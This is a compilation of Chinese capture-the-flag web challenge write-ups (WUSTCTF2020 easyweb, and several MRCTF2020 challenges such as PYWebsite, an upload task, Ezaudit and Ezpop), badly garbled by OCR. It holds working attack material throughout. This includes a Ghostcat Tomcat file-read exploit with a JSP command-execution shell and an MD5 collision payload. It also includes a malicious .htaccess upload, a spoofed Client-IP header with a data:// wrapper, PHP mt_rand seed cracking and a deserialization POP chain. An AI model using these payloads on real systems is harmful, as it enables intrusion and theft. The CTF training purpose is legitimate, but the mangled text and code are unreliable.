[WUSTCTF2020]easyweb( 52 5k)


https://www.52hertz.tech/2020/03/30/wctf2020_official_wp/#%25E9%25A2%259C%25E5%2580%25BC%25E6%2588%2590%25E7%25BB%25A9%25E6%259F%25A5%25E8%25AF%25A2-14-solves

CVE-2020-193814 R M - &
B b, RITUMER T, 4T Hweb-xml

?file=../web.xml

1e35bb8e-e576-47fa-bb00-293528d9b226.node3 .buusj.cn/download?file=../web.xml A ‘

P srlesssems. O [IER] -SIRss. © SiER (@ PTA | EEaEak.. @) & © Nessus Essent

TETEFIFT web.xeml

R T I
=] web.xml

MEEE: XML Document (B28 =£15)
HiE: ..bbBe-e576-47fa-b600-293528d9b226.node3. buuoj.cn

4B Firefox ML SCEE?
O#IFF, \T(0) | XML Editor (EiA)
@EFES
O EEaRRERa BT, @)

hitps://blog.csdn.net/lbmth666

BEHHER:

<welcome-file-list>
<welcome-file>/WEB-INF/views/index.jsp</welcome-file>
</welcome-file-1list>

RIEMALZT, FERBEWpKME
B T #poc: tomcat ajpth BT R B E 3B TSR B SCAHAT . python2: Tomcatff SCARE& K SR EURIRFIFHPOC
A8 FH A F oy B 2 P i 0T 1 A% SR sp:

<%@ page import="java.io.*"%>
<%
int a;
out.print("Ying ");
Process child = Runtime.getRuntime().exec("1s");
InputStream in = child.getInputStream();
while ( in.read() != -1) {
a = in.read();
out.print((char)a);
}
in.close();
%>


https://github.com/00theway/Ghostcat-CNVD-2020-10487
https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read

EAEREUEE, W5 Mpoc, EABTI

[WUSTCTF2020leasyweb
98

EEFERAAEMAY Linux Lab ES5AE 4288149 8009 #50.

Instance Info
Remaining Time: 73525
Lan Domain: 254.3-1e35b68e-e576-47 a-
b600-293528d9b226

http://1e35b68e-e576-47fa-
b600-293528d%9b226.node3.buuoj.cn

Destroy this instance Renew this instance

root@d66ac7shock 5
bd_bui dev etc flag.txt get-pip.py home 1ib 1ib64 media mnt opt proc root run shin
2 f# cd root

-master/
ter# 1s
Shooter.py README.md

T YR


https://www.gem-love.com/ctf/2176.html#%25E6%259C%25B4%25E5%25AE%259E%25E6%2597%25A0%25E5%258D%258E

include 'flag.php';
$Flag="MRCTF{XXXXXXXXXXXXXXXXXXXXXXXXX}" ;
if(isset($_GET['gg'])&8&isset($_GET['id"'])) {
$id=$ GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST[ 'passwd'];
if (!is_numeric($passwd))

{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
¥
}
else{
die('only one way to get the flag');
¥
¥
else {
echo "You are not a real hacker!";
¥
¥
else{
die('Please input first');
¥
¥

F— A sE
?gg[]=1&id[]=2

BEmd5IRALIE, B Epayload: SH—EHaHEmdEIRmME

?gg=M%COh%FF%OEZ%E37%5C%207%95r%DAw7Br%15%87%D307%A7%B2%1B%DCV%B737%3D%COX%3E%7B%95%187%AF%,BF %:A27:007%:A87%28K%F 3n%8EKUZ%B
3_Bu%937%D8Igm%A0%D1U7%5D7%837%607%FB_%07%FE%A2
&1d=M%COh%FF%OE%E37%5C%20%95r%DAw7Br7%15%87%D30%A7%B2%1B%DCV%B737%3D%COX%3E%7B%95%187%AF%BF %:A27:027%A87%28K%F 3n7%8EKUZ%B
3_Bu%937%D8Igm%A0%D17%D5%5D%837%607%FB_%07%FE%A2



RIS —K, B RHE MR, SHRAATT

passwd=1234567a

| put something in F12 for you include 'flag.php’; $flag="MRCTF{oocooococosoaaaoocoosaxx)'; if(isset($_GET['gg')&&isset($_GET['id']) { $id=$_GET['id']; $gg=%_GET['gg’]; if
(md5(%id) === md5($gg) && $id !== $gg) { echo 'You got the first step’; if(isset($_POST['passwd'])) { $passwd=%_POST['passwd']; if (lis_numeric($passwd)) {
if($passwd==1234567) { echo 'Good Job!"; highlight file('flag.php"); die('By Retr 0'); } else { echo "can you think twice??"; } } else{ echo "You can not get it I'; } } else{ die('only
way to get the flag'); } ) else { echo "You are not a real hacker!"; } } else{ die('Please input first'); } }You got the first stepGood Job! <?php

$flag="flag {dode94cH-5£9d-4958-8252-£3a0100868cd! ”
?> By Retr_0

v D=5 Ossle DEdsE NEE ((emeEE O OrF B EE 1 O58HE @ HackBar ) Max HacKBar

d

Encryption ~ Encoding ~ SQL~ XSS~ Other - Contribute now! HackBar

g Load URL http-//ba69ddEb-36c 7-4e2d-b2aa-065d1d2datas.node3. buuoj.cn/

_ 20g=M%CON%FF%OE% E3%5C%20%051% DA% 7Br%15%87%D30%AT %B2%1B%DCV%BTI%3D%C0x%3E%T B%O5% 18%AF%BF %A2%00%A8% 28K%Fan%SEKU%B3_Bu%93%D8igm
4 split URL %A0%D1U%5D%83%E0%FB_%07%FE%A2

) Execut
Postdata [] Referer [ User Agent [] Cookies

Clear All
passwd=1234567a
[MRCTF2020]PYWebsite
HAEF12EBHREBEARIRBER.:
& @ # view-source:http://node3.buuoj.cn:28252/

IEARS D sAmt @ FFrE [f wiesssems. () S -TamEs. ¢ S §

SNLANK Nrel— L1007 IONLICOINS Chsy LOIILCUINS. LML Cass rel— sLylgoshnecl o
{!—— Main Stylesheet File —>»

¢link href="css/styvle.css” rel="stylesheet”>

{script type="text/javascript” src="./jz/md5. i="></seript>
{script>

function enc (code) {
hash = hex_md5(code) ;
return hash;

}

function validate() {

var code = document. getBElementById(“veode”). value;
if (code != ""){
if(hex _md5(code) == "0cd4da0223c0n280829dc3ea458dR05c") {
alert ("HEIT TYAE! ) ;
window. location = ”. /flas. php”
telsel
} alert ("{RRVENFDA LR ) ;
lelse{
alert ("iE4 A BN
}

{Serrint



function enc(code){
hash = hex md5(code);
return hash;
¥
function validate(){
var code = document.getElementById("vcode").value;

if (code != ""){
if(hex_md5(code) == "©cd4da0223c0b280829dc3eas58d655¢c™){
alert("fiEd THIUE! ");
window.location = "./flag.php"
telse{
alert ("MRIVIRBUSAIER! ") ;
}
telse{
alert("HRWAZHL") ;
¥



AEEVES, BwpRKILE IR flag. php

&« C @ © & node3.buuoj.cn:28252/flag.php
Byaesas Esame @ FFrE [ RIasssems. O B -SiNgs. © =98 @ P | e

EFEEE

Hit, REERFIFIHNMERZLH, (RIRATH!

RESIEMTIENIPEE T, BAIRSERET
WIRPERE R, BRTWEENZES, BB ATLIERflag

¥ =7
- =

o BEY
(3]

RUREEIP, AthiE XFF: 127.0.0.1 ik

Ay # view-source:http://node3.buuoj.cn:28252/flag.php e 3
: DErm @ HELE P wlessyers. ) S -Sihss. © S22 @ pA | E2matEsk. @y O

*

eta charset="utf-8">

[>

re=", /imz/2. ipg” wifith="300" height="300" />
PR flagBBiE, BEETIT! </pr<p style="color:white >flag{05£7c325-e2ei-4471-a4e6-a31a3Th7675d} ¢

2% : Ying: MRCTF 2020 Writeup

[MRCTF20201R f£ /& [ 102


https://www.gem-love.com/ctf/2184.html

M1§2EIE FAEE S phi), B4R . htaccess

POST fupload php HTTRA 1
Host: d187522c-42c19-4c43-9620-293529133d00 noce3 buucj.cn

User-Agent: Mozilla/s .0 (Windows NT 10.0; Wing4; x84; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: texthtml applicationfxhtml+xml applicationfmlg=0.9 ** g=0.8

Accept-Language: zh-CN zh;g=0.8 zh-TW,g=0.7 zh-HK; g=0 5 en-US;q=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=------------=-----=-—--—-- 217261477111538
Content-Length: 377

Origin: http: /el 87822¢-42c19-4043-9620-293825f33d00 .node3 buuej.cn

Connection: close

Referer: hitp:/id187822c-42c9-4d43-9620-293829f33d00 node3 buuoj.cn/

Cookie: _ga=GA1.2.202177182.1584773494; PHPSESSID=6L75h1056b{f0ae4357 7f{2e83de7707
Upgrade-Insecure-Reguests: 1

o

----------------------------- 217261477111538
Content-Disposition: form-cata; name="uploaded"; filename="htaccess"

Content-Type: image/fjpeg
=FilesMatch "=

SetHandler application/x-httpd-php
=[FilesMatch=

M image/jpeg

BIh EAE, W4 b AExooxjog BI AT 4 R Aphp

HTTP/ A1 200 OK

Server: openresty

Date: Wed, 08 Apr 2020 14:24:21 GMT
Content-Type: texthtml

Content-Length: 213

Connection: close

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Mov 1981 08:52:00 GMT
Pragma: no-cache

Vary: Accept-Encoding

¥-Powered-By: PHP/SE.23

<meta charset="utf-8"=<hr /=
<b=Warning</=: mkdir(): File exists in <b=/Nar/'www/htmliupload.php</= on line <b=23=/b=<br
Mvariwww/htmliupload/ThedbafTcad28854cdfb24643522eabT/ . htaccess succesfully uploaded!

<« C ®

‘ © £ 3d00.node3.buuoj.cn/upload/7bcdbaf7cad28854cdfb24643522eab7 oocjpg

Buamssss EsAm @ #iFtls [ Wwiassskmes. O [EK SiFss. © S28 @ rTA | BmaitsEsh..

GIF89a

JF T 1 B 7T 48 Bl flag
[MRCTF2020]%& &

BRI

&loo
//1st
$query = $ SERVER[ 'QUERY_STRING'];

if( substr_count($query,
die('YOu are So cutE!");

}
if($_GET['b_u_p_t']
echo "you are going to the next ~";

}

1-->

ANt W .
php&EZ#E()HE R (O BHFBRBRTRIL(Q), KT HEk:

1. %5F
2. bupt (ARE D
3. bupt (ZHRE D

XANEbanfs T MIgRAD{E %5 , T LU BN F RSk R
B AN
prep_match()1E W ILEE, 13 %0a #eiTi5 feseid

') !== 0 || substr_count($query, '%5f') l= 0 ){

I== "23333"' && preg_match('/”23333%$/"', $_GET['b_u_p_t"'])){



B #&Payload: b u p t=23333%0a B b.u.p.t=23333%0a

CAEY - ‘ © & 4d33d-22d2-43c1-84c4-54eed0b737b6.node3.buuoj.cn/?b.u.p.t=23333%0A -
LS

Byamesss SRt @ FFrE (P T ERSTFREE. . G [iE) -SiiREs. @ 228 @ PTA | EmEEas.

how smart yvou are ~

FLAG is in secrettw.php

Welcome!

XARFEENMNIREK, BEkss, MaSEE£8i#! made by crispr

# A\secrettw.phpEFE VRIS E E|IsFuck, BMAF12i21T

post me Merak

DEEE DeEde DEE NEE ((Emsss O O0RF B &8 7 BESsE @ HackBar ) Max HacKBar
T or:

OO =D [T T+ 100D [+ = [T+ [+ L1 T+ (O L= 1D L= [T+ 0+ [T T+ (O LT = [T D+ [T+ D+ DITT DCLT DO [ DT L+ 00T+ C L LT+ [T L 01T [+ [T+ [+ [ 11T+ ( [T [ 1) [+ [0+
(CHIT=CI00I0) [+ (1= [+ (11T LI+ [1 L1+ [ D=0+ [ 11+ ( [T D) 1+ [T+ 0+ [ 10D [+ L+ [T+ [+ [0 T+C LI L [T 1= (1D [+ = (1] C [T+ L1 [0 [ ]2+ [ 1+ D [ 1+ (L N [ T2 (D0 [+ [0+ (1 1 [ ]+
111+ I+ [ [T+ [ 11+ O [T (T3 L1+ [T+ 0+ [T+ [ D [ 1+ [ Lo [T+ 0 [T D+ OO [T L1 L+ [0 T+ C L LI+ DT DO [T+ [T [+ 0T+ C O LD+ D CO DD [+ 0+ [+ [+ [T 1]+ [T+ [ 1) [0+ ]+
[0+ (1[I [+ [+ [T+ [ 11+ (U LI+ [ [ 1T (LT LD D= (DD L+ L1 T O [T+ [T [ 0+ [T+ C LD D = [T [+ = L1 (L LD D+ DT DO R+ D10 D+ D I D LD O E LT 0 [+ 0+ 1+

TR L I L I LR I I I L N I N I R R RN L A AN P L RN L P AT AN A AL P L R R L R AT S A REN I L N AL RN AT SN S S I S IR L N S AN I

POST— Merak=1 ,/83|J5Y.



<?php

error_reporting(®0);

include 'takeip.php';
ini_set('open_basedir','.");
include 'flag.php';

if(isset($_POST[ 'Merak'])){
highlight_file(__FILE_ );
die();

function change($v){
$v = base64_decode($v);

$re = '';
for($i=0;%i<strlen($v);$i++){

$re .= chr ( ord ($v[$i]) + $i*2 );
)
return $re;
)
echo 'Local access only!'."<br/>";

$ip = getIp();

if($ip!='127.0.0.1")

echo "Sorry,you don't have permission! Your ip is
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }

?>

".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333'])

‘todat is a happy day' ){

B S ¥ Fldatath il 22333=data: //text/plain;base64,dGIkYXQgaXMgYSBoYXBweSBkYXk=

BRRZ
todat is a happy day

G hiEip, KIClient-IPRTLAMEF, client-IP:
B JE R ER Sy, A P AR ) A

<?php
function enc($payload){
for($i=0; $icstrlen($payload); $i++){
$re .= chr(ord($payload[$i])-$i*2);
¥
return base64_encode($re);
}
echo enc('flag.php');
//flag.php Z 572 2): ZmpdYSZmXGI=
?>

BASEG4:
dGOkYXQgaXMgYSBoY XBweSBKYXk=

BASEGASRS >

<€ BASEG4iES

127.0.0.1



B JA N\ ?2333=data://text/plain;base64,dGOkYXQgaXMgYSBOYXBweSBkYXk=8File=ZmpdYSZmXGI=

Request

j Raw T Params I Headers | Hex

Response

Raw | Headers | Hex

GET lsecrettw . php?2333=data; textiplain basetd dGokY X OgaXMa Y SBoY XBweSBE Y Xk=&fle=ZmpdYSZmXGl=
HTTPA A

Host: a2f4el33c-22d2-43c1 -84c4-542ed0b7 37hE node3 buusj.cn

User-Agent: Mozilla/5.0 (Wincdows MNT 10.0; Wing4; x84, rv:71 .0) Gecko/201 00101 Firefox/71.0
Accept: text/html applicationfhtml+xml applicationfxmlg=0.9 **g=08

Accept-Language: zh-CM zh;g=0.8 zh-TW,q=0.7 zh-HK;q=0.5 en-U3;4=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Client-IP: 127.0.0.1 el $21511: Client-1P: 127.0.0.1

Cookie: _ga=GA1.2.202177182.1584773494

Upgrade-Insecure-Requests: 1

Cache-Contral: max-age=0

HTTRM .1 200 OK

Server: openresty

Date: Mon, 13 Apr 2020 06:43:00 GMT
Content-Type: texthtml, charset=UTF-8
Connection: close

H-Powered-By: PHP/56.40
Content-Length: 11534

Flag is here~But how to get it ?Local access onhf<bri=Y
$flag = flag{403acbc3-4154-4e31-a8bf-d21 4bd1 TEE35Y,

echo "Flag is here~But how to get it?";

=

E

o E AN Fbase64 4% th AT LL 22333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=

%% M. [MRCTF]Web WriteUp
Y1ng: MRCTF 2020 Writeup

[MRCTF2020]Ezaudit

BHARWHES, RIFEDBME, Hwwwzp, F—NEFHHEoginhtml. T Flindex.php:


https://www.cnblogs.com/yesec/p/12616923.html
https://www.gem-love.com/ctf/2184.html#Ezpop

<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST[ 'username'];
$password = $_POST[ 'password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
/] ERE, YWHRIEE, FEtiR, F3H /a8 A& RIRE
header('refresh:2; url=login.html");
echo "HIF 4. B, BHANENTM, crispr&ibRE2DEBERI SR ATK!";

exit;
}

else if($Private_key l= '*¥ikxkksokdokskt )

{
header('refresh:2; url=login.html");
echo "[R4, WELibIREF crispr&ibRIE2M EBVERIG R AmMK ! ";
exit;

}

else{
if($Private_key === 'Frkrkkrkiokkki)f
$getuser = "SELECT flag FROM user WHERE username= ‘crispr' AND password = '$password'".
$1link=mysql_connect("localhost","root","root");
mysql_select_db("test",$1link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){

echo "<tr><td>".$row["username”]."</td><td>".$row["flag"]."</td><td>";

¥

¥

¥

¥

// genarate public_key

function public_key($length = 16) {
$stringsl = 'abcdefghijklmnopqgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$public_key = '*;
for ( $i = @; $i < $length; $i++ )
$public_key .= substr($stringsl, mt_rand(@, strlen($stringsi) - 1), 1);
return $public_key;

//genarate private_key

function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(@, strlen($strings2) - 1), 1);
return $private_key;

}

$Public_key = public_key();

//$Public_key = KVQPOLAIKRaV3n9D how to get crispr's private_key???

F=ZASH:  username (crispr) , password (FiEE®HS) , Private_key (FA49)
BATE 56 A D BEVL B0 #e Biphp_mt_seed AT LLR B A EE, BB mt_rand ()BT

)

)



strl="abcdefghijklmnopqgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
str2="KVQPOLdIKRaV3noD'
str3 = strl =dl
length = len(str2
res=""
for i in range(len(str2
for j in range(len(stri
if str2[i] == stri[j
res+=str(j)+' '+str(j)+' '+'0'+" '+str(len(strl)-1)+'
break

print (res

for i in range

dit

) 61 43 43 B 61 @ @ @ 61 47 47 @ 61 55 55 @ 61 13hitpe:/flag.cedn.petiomthG66

EEIEE AR

36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 @ 61 43 43 0 61 0 0
© 61 47 47 @ 61 55 55 @ 61 13 13 © 61 61 61 @ 61 29 29 @ 61

A BAIphp_mt_seed B8k 5 3| T

szy@szy-virtual-machine:~/ F&f/php_mt_s 4.05 .
61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 35 35 0 61 36 36 0

343 0 61 0 0 0 61 47 47 ©® 61 55 55 0 61 13 13 0 61 61 61 @ 61 29 29 0 61
Pattern: EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 E
XACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-
62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62

Version: 3.0.7 to 5.2.0

ph eed 36 36 0@ 61 47
3
1

Found 6, trying Oxfcoeeaee - exffffffff, speed 249.1 Mseeds/s
Version: 5.2.1+

Found 6, trying Ox68000000 - 0x69ffffff, speed 15.2 Mseeds/s
seed = Ox69cf57fb = 1775196155 (PHP 5.2.1 to 7.0.x; HHVM)
Found 1, trying 0x90000080 - Ox91ffffff, speed 14.8 Mseeds

83| seed = Ox69cf57fb = 1775196155 (PHP 5.2.1 to 7.0.x; HHVM)
B J5 18 B A 1R i FL 4R



<?ph
mt_s
func

fun

}

echo
echo
?>

)5

p

rand(1775196155) ;

tion public_key($length = 16) {

$stringsl = 'abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVIWXYZ0123456789" ;
$public_key = '';

for ( $i = 0; $i < $length; $i++ )

$public_key .= substr($stringsl, mt_rand(@, strlen($stringsl) - 1), 1);
return $public_key;

ction private_key($length = 12) {

$strings2 = 'abcdefghijklmnopqgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$private_key = '';

for ( $i = 0; $i < $length; $i++ )

$private_key .= substr($strings2, mt_rand(@, strlen($strings2) - 1), 1);

return $private_key;

public_key()."\n";
private_key();

FEphphit 4~ 47.0.3313 2 FA%H XuNhoueCDCGc

rpaaTa v o

1
2
3

<7php phpinfo()
pP)mlnfc-() : PHP Version => 7.0.33-0+deb%u3
7

System == Linux bc0dB8e80d5f3 4.4.0-151
Ubuntu SMP Tue Jun 11 08:20:22 UTC 201
Build Date == War 3 2019 10:01:24

S P

1
2
3

000 -1 OO e

10
11
12
13
14
15
16
17
18
19
20

<7php KVQPOLAJKRaV3noD
mt_srand (1775196155) ; KXuNhoueCDCGc
function public_kev($length = 181 {

fetringsl = ’ abedefghi jklmnopgr s tuvwxyz ABCDEFGHI TELMHOPQRSTUVWETZ01 23456 785
fpublic_key = 7 ;

for [ $1 =0; $1 < $lensth; $i++ )

fpublic_key .= subsztr (fstringsl, mt_rand(0, strlen(fstring=1) - 1), 11;
return $public_key:

!

function private_key($length = 121 |
fetrings2 = ’ abeodefghi jklmnopgr s tuvwxyzABCDEFGHI TELMHOPQRSTUVWETZ01 23456 785
forivate_key = "7 ;
for [ $1 =0; $1 < $lenzth; $i++ )
forivate kev .= zubstr ($ztring=2, mt rand(D, strlen(fstring=2) — 1], 1};
return $private key;
1
echo public kev(). "\n™;
echo private Lkev();
T

fElogin.html% 3% 3k 5 flag

05d7

4-11d7-4607-8858-af4ad27785cb.node3.buuoci.cn/loain.html B e
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gmemwprre . ) [IEW] SRS @ SEE @ PTA|EESiEak. &) aE O Nessu
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%%, ft. [MRCTF]Web WriteUp
[MRCTF2020]Ezpop

BHSGH TIHRAE: (B7EENT)



https://www.cnblogs.com/yesec/p/12616923.html

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/Library/php.html#%E5%8F%8D%ES5%BA%8F%E5%88%97%E5%8C%96%E9%ADSI4%E6%KICHAFREC%96%
B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);//8. XX include, Ffphp base64 wrapper i£flag
}
public function __invoke(){
$this->append($this->var);//7. K54 H I E

class Show{
public $source;
public $str;
public function __ construct($file="index.php"){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
¥
public function _ toString(){
return $this->str->source;//4. XELHHstr->sourcel] _get WAL IEMNIIEE B E HTest W5

public function _ wakeup(){//2. Z1%pop 21 Show, 4 iFHiZE
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//3.LEHII1RZIF/H__toString
echo "hacker";

$this->source = "index.php";
}
}
}
class Test{
public $p;

public function _ construct(){
$this->p = array();

public function _ get($key){
$function = $this->p;//5. R X E
return $function();//6.() £/ invoke, ZN1iX Bt #EModifier 55

if(isset($ _GET['pop'])){
@unserialize($_GET['pop']);//1. R/FFHHXE

}
else{
$a=new Show;
highlight_file(_ FILE_ );
}

PHPBEARJ7 i



__construct() /HEH—AxREIREBIEH

__destruct() //Z—A Xt GAaH8E 3 A

__toString() //EA—AXELE—ANFERERMEH

__sleep() /IHEX RAE T HINZ BIBAT

__wakeup() /MSERFFIZ G SLEIE GBS 7R R IC RN BORRF RS )
__get() /BRIB—AKMp R = A

__set() /EE—AHKMERZ RN A

__invoke() /A F EH 75 2 — AN RS B R 7 VE

__call() //ZAEA A G 7R B 77V I g A S AT IX AN R B

i popk :

PR wakeup()->fiik__tostring()->sourceBIEANTEAE, MR TestRE_ get()EE -> ik invoke()E% -> include()BAEX
(P til)

JiifEexp I T

<?php
class Modifier{
protected $var;
function _ construct(){
$this->var="php://filter/convert.base64-encode/resource=flag.php";
}
}

class Test{
public $p;
}

class Show{
public $source;
public $str;

}

$s = new Show();

$t = new Test();

$r = new Modifier();

$t->p = $r;

$s->str = $t;

$s->source = $s;

echo urlencode(serialize($s));



BATAE], AENBP:
0%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3B0%3A4%3A%22Test%22%3A1%3A%7Bs%3A
1%3A%22p%22%3B0%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconv

ert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D

&« G @ | M £ ‘%2FHilter¥2Fconvert.basebd-encode%2Fresource%3Dflag.php™%3BH} v B2 e ﬁ‘
FHumess EEERLE @ HELE (P IEsSsams. () S -SiRsEs. © S22 @ PTA | EESrEEsk.. o) &

PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICImbGFnezFmOTM 3NzMyLTFIMjItNDA2OCO4Nm

IR el =g BASEG4 F/BASEG4FE R

BE3T. BASE64:

<?php - PDO9waHAKY 2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWeSICJ

class Flag] BASEGA%RHS > mbGFnezFmOTM3NzMyLTFIMNDA2OCOANmJLWRKMWUxNZNIZG
private $flag= "flag{1f937732-1e22-4068-86bb-dd1e173bdad2}" E5Mn0iOwp9CmVjaG8glkhlbHAGTWUgRmIUZCBGTEFHISITCj8+

) < BASEGAS

echo "Help Me Find FLAG!™;

7=

2% M. [MRCTF]Web WriteUp

IXG—H, KPR, AXPCAMERILR T HE U EERS®Y, WHEHIRIESZHIE



https://www.cnblogs.com/yesec/p/12616923.html
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